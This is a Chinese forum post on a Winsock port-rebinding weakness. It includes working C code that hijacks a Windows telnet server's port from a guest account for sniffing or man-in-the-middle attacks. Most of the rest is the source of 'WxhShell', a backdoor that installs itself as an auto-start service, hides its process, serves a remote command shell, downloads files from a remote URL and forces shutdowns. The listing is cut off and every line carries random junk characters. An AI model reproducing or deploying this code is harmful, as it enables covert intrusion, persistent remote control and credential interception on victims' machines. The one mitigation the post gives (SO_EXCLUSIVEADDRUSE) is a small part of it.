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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "g!/^A!!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gcM(K.n  
kvN6K6  
  saddr.sin_family = AF_INET; |[bQJ<v6  
Df $Yn  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); z_&T>ME  
C5^N)-]"  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Mm^6*L]  
1kc{`oL  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 n u>6UjV  
{ 6*UtG  
  这意味着什么?意味着可以进行如下的攻击: xUs1-O1i  
H#`&!p  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~bjT,i  
y3 S T"U  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |R Qa.^.  
.w~L0(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1rmN)  
sMw"C~XL  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  }Oy/F  
>F!X'#Iv  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~;uW) [  
T 6rjtq  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 49#?I:l  
41XXL$  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 b@1";+(27  
H: ;S1D  
  #include &4F iYZ  
  #include ;xE1#ZT  
  #include TP/bPZY  
  #include    ^6^A/]v  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "k7C   
  int main() =~ j S  
  { Bv=:F5hLG  
  WORD wVersionRequested; *5'l"YQ@1  
  DWORD ret; Su`] ku'  
  WSADATA wsaData; Fc"+L+h@W  
  BOOL val;  O6!:Qd  
  SOCKADDR_IN saddr; EO.}{1m=hx  
  SOCKADDR_IN scaddr; x8h=3e$  
  int err; }l@7t&T|  
  SOCKET s; Q"{Q]IT  
  SOCKET sc; V_Y2@4  
  int caddsize; MW.,}f  
  HANDLE mt; !L' O")!3  
  DWORD tid;   U| 1&=8l  
  wVersionRequested = MAKEWORD( 2, 2 ); )RwO2H  
  err = WSAStartup( wVersionRequested, &wsaData ); -+.-Ab7  
  if ( err != 0 ) { hrnY0  
  printf("error!WSAStartup failed!\n"); V^p XbDRl  
  return -1; q/\Hh9`  
  } \E:l E/y  
  saddr.sin_family = AF_INET; 2W`<P2IA  
   {&Sr<d5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8J#TP7;  
H Ff9^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ![@\p5-e  
  saddr.sin_port = htons(23); FkIT/H  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  AQz&u  
  { X=b]Whuv  
  printf("error!socket failed!\n"); rexy*Xv`2p  
  return -1; GI*2*m!u  
  } h]okY49hY  
  val = TRUE;  *}`D2_uP  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 TYr"yZ([  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) fyt`$y_E[  
  { N]@e7P'9F  
  printf("error!setsockopt failed!\n"); k;y5nXIlN  
  return -1; v/DWy(CC  
  } 5-X(K 'Q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; s av  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 aruT eJF  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0--0+?  
>5=uq _QY  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) wrt^0n'r)c  
  { erZ%C <  
  ret=GetLastError(); l 7=WO#Pb  
  printf("error!bind failed!\n"); 5oI gxy  
  return -1; HvVS<Ke  
  } @8 GW?R  
  listen(s,2); z}m)u  
  while(1) xu0pY(n^r  
  { O_wRI\ !  
  caddsize = sizeof(scaddr); ZnYoh/  
  //接受连接请求 'gwh:8Xc  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `]:&h'  
  if(sc!=INVALID_SOCKET) vErlh:~e  
  { #EdsB  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ? v2JuhRe  
  if(mt==NULL) !NFP=m1  
  { r6eApKZ>f6  
  printf("Thread Creat Failed!\n"); ,t_Fo-i7vI  
  break; 0FD+iID  
  } WKPuIE:  
  } Fs EPM"&?h  
  CloseHandle(mt); A `n:q;my  
  } kUG3_ *1 .  
  closesocket(s); .!hB tR  
  WSACleanup(); /?P="j#u  
  return 0; YV0K&d  
  }   bfjtNF*^  
  DWORD WINAPI ClientThread(LPVOID lpParam) *z A1NH5  
  { S7 Tem:/  
  SOCKET ss = (SOCKET)lpParam; 2r=A'  
  SOCKET sc; v'zf*]9  
  unsigned char buf[4096]; 5 5T c  
  SOCKADDR_IN saddr; c,I|O' &k  
  long num; cU'^ Ja?%  
  DWORD val; Lcyj, R  
  DWORD ret;  Z,osdF  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |YAnd=$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   C7[CfcPA  
  saddr.sin_family = AF_INET; =-qv[;%& 6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #I.Wmfz  
  saddr.sin_port = htons(23); n7 S~n k  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Eo }mSd  
  { xc+h Fx  
  printf("error!socket failed!\n"); F$Q@UVA  
  return -1; *Q8d &$ ^  
  } &ii3Vlyzg  
  val = 100; )cy_d!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -]h3s >t  
  { }Myi0I<  
  ret = GetLastError(); )0:@T)G  
  return -1; T;%ceLD  
  } _ %HyXd  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iE$/ Rcp  
  { ?g$dz?^CK&  
  ret = GetLastError(); {6yiD  
  return -1; Lc<C1I 5=  
  } W|FPj^*t  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) L@{5:#-  
  { g2<xr;<t^  
  printf("error!socket connect failed!\n"); Px)/`'D  
  closesocket(sc); xv{iWJcs  
  closesocket(ss); m_z1|zM}o  
  return -1;  ? h$>7|  
  } 7QlA/iKqK  
  while(1) Rz!E=1Y$  
  { F*_mHYa;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 H[{ch t h  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 <eq93  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 IRZ?'Im  
  num = recv(ss,buf,4096,0); ;?9u#FRtw  
  if(num>0) |'2E'?\/x  
  send(sc,buf,num,0); P2`!)teN  
  else if(num==0) <,Zk9 t&  
  break; V}>0r+NL<  
  num = recv(sc,buf,4096,0); `~"l a>}  
  if(num>0) "yI)F~A  
  send(ss,buf,num,0); '%>$\Lv  
  else if(num==0) Q b5AQf30  
  break; `q 4%  
  } <o_H]c->  
  closesocket(ss); @Kd lX>i  
  closesocket(sc); Cp_YIcnEJ  
  return 0 ; \7}X^]UVx  
  } bqMoO7&c  
TWC^M{e  
^zv28Wq>  
========================================================== Pv`^#BX'  
a"{tqNc  
下边附上一个代码,,WXhSHELL ?hS n)  
A}b<Lg  
========================================================== JeJc(e  
~mtL\!vaM  
#include "stdafx.h" L44-: 3  
a<[@p  
#include <stdio.h> 1@H3!V4  
#include <string.h> MdWT[  
#include <windows.h> 0j1I  
#include <winsock2.h> FxC@KZG  
#include <winsvc.h> _wg6}3  
#include <urlmon.h> LmLV2f  
?<Dinq  
#pragma comment (lib, "Ws2_32.lib") C,w$)x5kls  
#pragma comment (lib, "urlmon.lib") ztG_::QtG]  
DB yRP-TH  
#define MAX_USER   100 // 最大客户端连接数 +>oVc\$  
#define BUF_SOCK   200 // sock buffer aT#R#7<Eg  
#define KEY_BUFF   255 // 输入 buffer 5w`v 3o  
!V.'~xj  
#define REBOOT     0   // 重启 S)GWr"m-  
#define SHUTDOWN   1   // 关机 f4zd(J  
=@m|g )  
#define DEF_PORT   5000 // 监听端口 .h^."+TJ  
-O_5OT4  
#define REG_LEN     16   // 注册表键长度 x~}RL-Y2o  
#define SVC_LEN     80   // NT服务名长度 Q^8C*ekfg!  
77OH.E|$  
// 从dll定义API S >uzW #  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); EpeTfD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "j9,3yJT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JLRw`V,o7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); NrTQ}_3)  
" 7RQrz  
// wxhshell配置信息 Hq^sU%  
struct WSCFG { >U9*  
  int ws_port;         // 监听端口 jd=k[Yqr  
  char ws_passstr[REG_LEN]; // 口令 @3{'!#/  
  int ws_autoins;       // 安装标记, 1=yes 0=no \{n]&IjA  
  char ws_regname[REG_LEN]; // 注册表键名 i 4eb\j  
  char ws_svcname[REG_LEN]; // 服务名 1P4jdp=~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oa+Rr&t'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0?ZJJdI3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _ 9Tv*@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x<"e} Oo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &@A(8(%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dapQ5JT/  
{y'c*NS  
}; H;}V`}c<`  
K%>uSS?  
// default Wxhshell configuration 9xC,i )  
struct WSCFG wscfg={DEF_PORT, ZYrXav<  
    "xuhuanlingzhe", -.1x!~.jX  
    1, (eN\s98)/  
    "Wxhshell", 0,nDyTS^  
    "Wxhshell", \Btv76*,  
            "WxhShell Service", &D uvy#J  
    "Wrsky Windows CmdShell Service", IyYC).wU}  
    "Please Input Your Password: ", T<DQi  
  1, by& #g  
  "http://www.wrsky.com/wxhshell.exe", 1Af~6jz  
  "Wxhshell.exe" C2,,+* v  
    }; cI'&gT5  
`RfhxzI  
// 消息定义模块 cgm]{[f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]~)FMWQz-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _odP:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X<_(gg  
char *msg_ws_ext="\n\rExit."; I* \o  
char *msg_ws_end="\n\rQuit."; '6fMF#X4F  
char *msg_ws_boot="\n\rReboot..."; %K /=7  
char *msg_ws_poff="\n\rShutdown..."; mT>56\63  
char *msg_ws_down="\n\rSave to "; x9~d_>'A  
7f'9Dm`  
char *msg_ws_err="\n\rErr!"; RT8xU;   
char *msg_ws_ok="\n\rOK!"; yEy} PCJ&  
Sq}hx  
char ExeFile[MAX_PATH]; >"B95$x5  
int nUser = 0; oKiBnj5J  
HANDLE handles[MAX_USER]; 7Cx%G/(  
int OsIsNt; Txfu%'2)e  
ZyT9y  
SERVICE_STATUS       serviceStatus; m ,)4k&d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "kz``6C  
E:(flW=  
// 函数声明 ^:\|6`{n  
int Install(void); 0eQyzn*98  
int Uninstall(void); rcPP-+XW  
int DownloadFile(char *sURL, SOCKET wsh); W{At3Bfy  
int Boot(int flag); D(s[=$zua  
void HideProc(void); \q(RqD  
int GetOsVer(void); WL7R.!P  
int Wxhshell(SOCKET wsl); 6?Rm>+2>v  
void TalkWithClient(void *cs); 'u{m37ZJ  
int CmdShell(SOCKET sock); uY,&lX+!  
int StartFromService(void); m]+g[L?-  
int StartWxhshell(LPSTR lpCmdLine); Xp{+){Iu  
7Nw7a;h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;-lk#D?n9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +L!-JrYHS4  
\('8 _tqI"  
// 数据结构和表定义 ( N~[sf?&  
SERVICE_TABLE_ENTRY DispatchTable[] = +y>D3I  
{ eR D?O  
{wscfg.ws_svcname, NTServiceMain}, Z+=WgEu1  
{NULL, NULL} wZ,9~P 7  
}; ^vLHs=<  
ot]E\g+!  
// 自我安装 .KGW#Qk8  
int Install(void) _+S`[:;a  
{ O$E3ry+?  
  char svExeFile[MAX_PATH]; ^UZEdR;  
  HKEY key; KO<Yc`Fs  
  strcpy(svExeFile,ExeFile); H ZIJKk(  
3lqR(Hh3  
// 如果是win9x系统,修改注册表设为自启动 V{O,O,*  
if(!OsIsNt) { .%h.b6^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B9/x?Jv1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '%yWz)P  
  RegCloseKey(key); s@E "EWp0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X5cl'J(j9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bBc<yaN  
  RegCloseKey(key); 0R >M_|  
  return 0; [iwn"e  
    } [bIdhG  
  } M])Y|}wv8  
} ((\s4-   
else { 81fpeoNO  
~(aQ!!H6  
// 如果是NT以上系统,安装为系统服务 suN{)"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Pq>r|/~_  
if (schSCManager!=0) B t-o:)pa  
{ AKC';J  
  SC_HANDLE schService = CreateService r;t0+aLc*  
  ( .vj`[?T  
  schSCManager, S " R]i  
  wscfg.ws_svcname, PGsXB"k<8  
  wscfg.ws_svcdisp, iE, I\TY[  
  SERVICE_ALL_ACCESS, r ioNP(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .dt7b4.kd  
  SERVICE_AUTO_START, _$s9o$8$  
  SERVICE_ERROR_NORMAL, L"&j(|{  
  svExeFile, XL>c TM  
  NULL, '^'vafs-/@  
  NULL, ".O+";wk  
  NULL, Lo\+T+n  
  NULL, ^rMkCA@;TZ  
  NULL a?.hvI   
  ); J4#t1P@Na  
  if (schService!=0) Kgbgp mW  
  { +N: K V}K  
  CloseServiceHandle(schService); rP>iPDf  
  CloseServiceHandle(schSCManager); 5m!FtHvm1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Cb7f-Eag  
  strcat(svExeFile,wscfg.ws_svcname); tI|?k(D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K4YpE}]u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'due'|#^  
  RegCloseKey(key); UM(tM9  
  return 0; r j#K5/df  
    } vcy}ZqWBO  
  } NDEltG(  
  CloseServiceHandle(schSCManager); .$y}}/{j?[  
} ]y>)es1  
} -Mx"ox  
!Low%rP  
return 1; r5h}o)J  
} Sg(fZ' -  
~^cx a%  
// 自我卸载 , \ |S BS  
int Uninstall(void) s]Nh9h  
{ oA%8k51>~K  
  HKEY key; CvKXVhf0$J  
NK2Kw{c"iI  
if(!OsIsNt) { 6e3s |  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >KmOTM< {  
  RegDeleteValue(key,wscfg.ws_regname); 97lM*7h;  
  RegCloseKey(key); 8Eyi`~cAiH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1O>wXq7q  
  RegDeleteValue(key,wscfg.ws_regname); Xp@8 vu  
  RegCloseKey(key); A9' [x7N  
  return 0; uo;aC$US  
  } fhw.A5Ck  
} aN?{MA\  
} ~CgKU8  
else { {L5!_] 6  
y.AVH`_u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \Z-T)7S  
if (schSCManager!=0) 0)`{]&  
{ r!N)pt<g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &^3KF0\Q  
  if (schService!=0) l2QO\O I9m  
  { WeNx9+2=Z  
  if(DeleteService(schService)!=0) { S C7Tp4  
  CloseServiceHandle(schService); rVgz+'rFD[  
  CloseServiceHandle(schSCManager); aT1T.3 a  
  return 0; 9otA5I^v  
  } wegu1Ny  
  CloseServiceHandle(schService); ~N2){0 j4  
  } j&6'sg;n)  
  CloseServiceHandle(schSCManager); 2`hc0 IE  
} .}n,  
} }'mVD^<+  
WJbdsPs  
return 1; ?K%&N99c!  
} /fC@T  
 =+9.X8SP  
// 从指定url下载文件 KKP}fN  
int DownloadFile(char *sURL, SOCKET wsh) f_a.BTtNO  
{ Vw.c05x  
  HRESULT hr; X~|P  
char seps[]= "/"; @FVan  
char *token; ~WXT0-,  
char *file; FjF:Eh  
char myURL[MAX_PATH]; #va|&QBZxM  
char myFILE[MAX_PATH]; 35I y\  
^j&'2n@ 9a  
strcpy(myURL,sURL); /nEt%YYh;x  
  token=strtok(myURL,seps); mL/]an@Y  
  while(token!=NULL) g"vg {Q  
  { )';Rb$<Qn  
    file=token; 5$Lo]H*  
  token=strtok(NULL,seps); |M]#D0v  
  } wv0d"PKTS  
AoB~ZWq  
GetCurrentDirectory(MAX_PATH,myFILE); to{/@^ D  
strcat(myFILE, "\\"); 0f~7n*XH  
strcat(myFILE, file); sf )ojq6s  
  send(wsh,myFILE,strlen(myFILE),0); 2<HG=iSf  
send(wsh,"...",3,0); R|aA6} /I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n!=%MgF'*p  
  if(hr==S_OK) PhF.\W b  
return 0; eFDhJ  
else ?O(KmDH  
return 1; 4np,"^c  
t I}@1  
} Ah:!  
7|4hs:4mD  
// 系统电源模块 Ncr38~;w  
int Boot(int flag) ^% y<7>%  
{ #eSVFD5ZU  
  HANDLE hToken; q>:>f+4  
  TOKEN_PRIVILEGES tkp; 7 j$ |fS  
E +\?|q !T  
  if(OsIsNt) { > w:+nG/r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Lt ; !q b.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c4QegN  
    tkp.PrivilegeCount = 1; d~+8ui{-U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8m,PsUp7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qjcy{@ j  
if(flag==REBOOT) { 2,,zN-9mt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9Fb|B  
  return 0; YI05?J}  
} ~Wy&xs ZH  
else { f>.A^?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Pw:(X0@  
  return 0; Hik8u!#P  
} lr SdFJ%  
  } 3`sM/BoA  
  else { vlYDhjZk#  
if(flag==REBOOT) { <SM{yMz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6J. [9#  
  return 0; AQkH3p/W  
} ZqKUz5M4  
else { *zoAD|0N  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Fx#0 :p  
  return 0; )=VSERs  
} K..L8#SC  
} )o!y7MTl  
0{ M=^96  
return 1; ;\(Wz5Ok&J  
} 1(!w xJ  
&4M0 S+.  
// win9x进程隐藏模块 ?DPN a  
void HideProc(void) 2 mM0\ja  
{ g7*cwu  
Mf0!-bu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K"'W4bO#7  
  if ( hKernel != NULL ) &8!* u3  
  { c%1 <O!c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8joJ e>9VJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); + $i-"^  
    FreeLibrary(hKernel); ,arFR'u>  
  } gM=oH   
M7Ej#Y  
return; ]{0R0Gr94  
} 0Yz &aH  
Ao%E]M  
// 获取操作系统版本 s8w7/*<d  
int GetOsVer(void) -:9E+b  
{ @ yJ/!9?^  
  OSVERSIONINFO winfo; fdr.'aMf%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #PYTFB%  
  GetVersionEx(&winfo); G<.p".o4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ow:}NI  
  return 1; {XYv &K  
  else R_4]6{Rm  
  return 0; kIS&! V  
} S0.   
4ujw/`:/m  
// 客户端句柄模块 hDc, #~!  
int Wxhshell(SOCKET wsl) C~o6]'+F_  
{ y- S]\tu  
  SOCKET wsh; ;)ff Gg>  
  struct sockaddr_in client; K{[ySB  
  DWORD myID; dRg1I=|{_  
51.! S  
  while(nUser<MAX_USER) rAqg<fR*  
{ (1e;7sNG@  
  int nSize=sizeof(client); + >o/Ob  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w <zO  
  if(wsh==INVALID_SOCKET) return 1; x7$U  
$q#|B3N%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v8! 1"FYL  
if(handles[nUser]==0) X$,#OR  
  closesocket(wsh); 2YvhzL[um  
else 0Eq.l<  
  nUser++; MsOO''o  
  } Ko%&~C_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]X4 A)4y  
2GRh8G&5  
  return 0; n y6-_mA]  
} .E:QZH'M  
.Ajs0 T2  
// 关闭 socket @ ?y(\>  
void CloseIt(SOCKET wsh) BBw]>*  
{ e"en ma\_  
closesocket(wsh); -05zcIVo  
nUser--; GRz`fO  
ExitThread(0); `T  $lTP  
} qe!`LeT#  
HKO00p7  
// 客户端请求句柄 PQAN,d  
void TalkWithClient(void *cs) W&`_cGoP  
{ k^I4z^O=-;  
GIQ/gM?Pv  
  SOCKET wsh=(SOCKET)cs; mj :8ZZ  
  char pwd[SVC_LEN]; b\~rL,7(  
  char cmd[KEY_BUFF]; qA:CV(Z  
char chr[1]; . (*V|&n  
int i,j; K V ^ `  
hnS ~r4  
  while (nUser < MAX_USER) { $oK,&_  
.(Q3M0.D  
if(wscfg.ws_passstr) { ^!H8"CdC3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pLMki=.Ld  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '/ 3..3k  
  //ZeroMemory(pwd,KEY_BUFF); NwM=  
      i=0; -WP_0  
  while(i<SVC_LEN) { UMUr"-l =  
* EOIgQp  
  // 设置超时 j<!rc>)2+L  
  fd_set FdRead; 0}$",M!p  
  struct timeval TimeOut; gsuf d{{  
  FD_ZERO(&FdRead); Uj}iMw,  
  FD_SET(wsh,&FdRead); ' U{?"FP  
  TimeOut.tv_sec=8; Fc>W]1  
  TimeOut.tv_usec=0; R(@7$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Bn*D<<{T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {/12.y=)~  
<jU[&~p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ch,<4E/c[R  
  pwd=chr[0]; c:"*MM RC  
  if(chr[0]==0xd || chr[0]==0xa) { k!O#6Z  
  pwd=0; e#IED!U  
  break; esmQ\QQ^1  
  } \Oh9)X:I  
  i++; }K9Vr!  
    } -?<wvUbR{  
q{Hk27kt  
  // 如果是非法用户,关闭 socket uc~PKU?tO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D8slSX`6j  
} O-:#Q(H!  
yJ8WYQQMG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nab:y(]$/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jy{T=Nb  
x, a[ p\1  
while(1) { 95^w" [}4Q  
h";G vjy  
  ZeroMemory(cmd,KEY_BUFF); ("o <D{A  
Y>Q9?>}Q  
      // 自动支持客户端 telnet标准   YMLo~j4J  
  j=0; 1eI >Yy>}  
  while(j<KEY_BUFF) { *\m 53mb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AS`0.RC-  
  cmd[j]=chr[0]; Hk8:7"4Q  
  if(chr[0]==0xa || chr[0]==0xd) { F6Zl#eL  
  cmd[j]=0; KbVV[ *  
  break; 7qA);N  
  } K97lP~Hu  
  j++; z.oDH<1  
    } -QCo]:cp  
Z'<=06  
  // 下载文件 ^*'|(Cv  
  if(strstr(cmd,"http://")) { j#y_#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z^I"{eT8  
  if(DownloadFile(cmd,wsh)) Qpiv,n  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); wcP0PfY  
  else ~ C6< 75  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9+h9]T:9  
  } 8e)k5[\m  
  else { [ivz/r(Rj  
@^} % o-:  
    switch(cmd[0]) { ,7SLc+  
  d|]F^DDuI  
  // 帮助 ukv _bw  
  case '?': { ,XCC#F(d1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =PAvPj&}e  
    break; 6%C:k,Cx{d  
  } PTIC2  
  // 安装 W&}YM b  
  case 'i': { V=k!&xN~  
    if(Install()) ui`xgR\6Rh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xZPSoxu  
    else -% PUY(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C9x'yBDv  
    break; nCh9IF[BL/  
    } p=\DZU~1  
  // 卸载 4?g~GI3  
  case 'r': { z|F>+6l"Y7  
    if(Uninstall()) tc\LK_@$/F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j{>E.F2.  
    else k!t5>kPSQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nVw]0Yl  
    break; REB8_H"  
    } ?(>7v[=iT  
  // 显示 wxhshell 所在路径 -r]s #$  
  case 'p': { -'3vQXj&  
    char svExeFile[MAX_PATH]; #B"ki{Se*  
    strcpy(svExeFile,"\n\r"); COc1np  
      strcat(svExeFile,ExeFile); W!.UMmw`  
        send(wsh,svExeFile,strlen(svExeFile),0); Wt()DG|[  
    break; ,W5pe#n  
    } a-x8LfcbF  
  // 重启 l!Z>QE`.S  
  case 'b': { 4O9HoX#-?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7xB#)o53  
    if(Boot(REBOOT)) gl:vJD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T,Cq;|g5E  
    else { =t<!W  
    closesocket(wsh); -aLBj?N c[  
    ExitThread(0); HI#}M|4n  
    } 6g29!F`y  
    break;  Us k@{  
    } q`E6hm  
  // 关机 0aSN 8  
  case 'd': { B@e,3:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X}0NeG^'O  
